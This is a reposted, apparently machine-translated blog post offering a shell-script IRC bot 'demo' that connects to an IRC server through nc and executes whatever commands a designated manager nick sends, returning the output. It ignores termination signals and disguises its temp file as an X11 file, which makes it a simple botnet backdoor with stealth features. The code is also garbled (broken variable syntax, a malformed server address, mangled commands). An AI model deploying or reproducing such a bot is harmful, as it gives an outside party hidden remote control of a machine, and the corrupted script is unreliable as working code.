An ircbot shell implementation (demo)

Shell is just getting started. it mainly uses tail-f to redirect to nc through the pipeline to communicate with the irc server, and then uses sed to format it to conform to the protocol, other functions are command execution. The code is not very mature and still learning. I hope you will...

Shell is just getting started. it mainly uses tail-f to redirect to nc through the pipeline to communicate with the irc server, and then uses sed to format it to conform to the protocol. nothing else
The function is to execute commands.
The code is not very mature and is still being studied. I hope you can give more instructions on the details.

01 #! /Bin/sh

02

03 # Shell IRC Bot demo Based on RFC 1459

04 # Author: Tm3yShell7 @ www.hackshell.net

05 #2011/8/5

06

07 myname = 'testbot '# what you call me?

08 svradd = '2017. 0.0.1 127 '# where can I find you? "Oppo" find me: P

09 channel = 'bots' # irc channel

10 tmpfile = '/tmp/. X11-map-enUS' # temp file at runtime

11 mgr = 'God' # manager nick in irc

12 cwd = '/tmp' # current work ctrctry

13

14 trap "" TERM HUP INT QUIT TSTP

15 # just leave it

16

17 echo "NICK $ myname"> $ tmpfile

18 echo "USER $ myname 'hostname' servername realname"> $ tmpfile

19 echo "JOIN $ channel" >>$ tmpfile

20 echo "PRIVMSG $ mgr: hey, im in! ">>> $ Tmpfile

21 # connect to the irc server and say hello to my manager

22

23 tail-f $ tmpfile | nc $ svradd | while true; do

24 read cmd

25 echo $ cmd | egrep "^: $ mgr. * PRIVMSG $ myname:">/dev/null 2> & 1

26 test $? -Eq 0 | continue

27 # see if this message is for me?

28 cmd = $ (echo $ cmd | sed "s/^: $ mgr. * PRIVMSG $ myname: //" 2>/dev/null)

29 # delete the header

30 cmd = $ (echo $ cmd | sed "s/\ r/\ n/" 2>/dev/null)

31 # delete '\ r'

32 echo $ cmd | egrep "^ cd *">/dev/null 2> & 1

33 test $? -Eq 0 & cwd =$ (cd $ cwd; $ cmd; pwd 2>/dev/null)

34 # update cwd if this is a "cd" command

35 echo $ cmd | egrep "(^? * Cd *) | (^? * Pwd $) ">/dev/null 2> & 1

36 test $? -Eq 0 & cmd = "echo [+] Pwd is now $ cwd"

37 # overwirte the "pwd" command

38 cd $ cwd; $ cmd 2> & 1 | sed "s/^/PRIVMSG $ mgr:/" | tee-a $ tmpfile>/dev/null 2> & 1

39 echo "[+] Complete" | sed "s/^/PRIVMSG $ mgr:/" >>$ tmpfile

40 # exec it and send

41 done

 

 

 

From: Tm3yShell7's Blog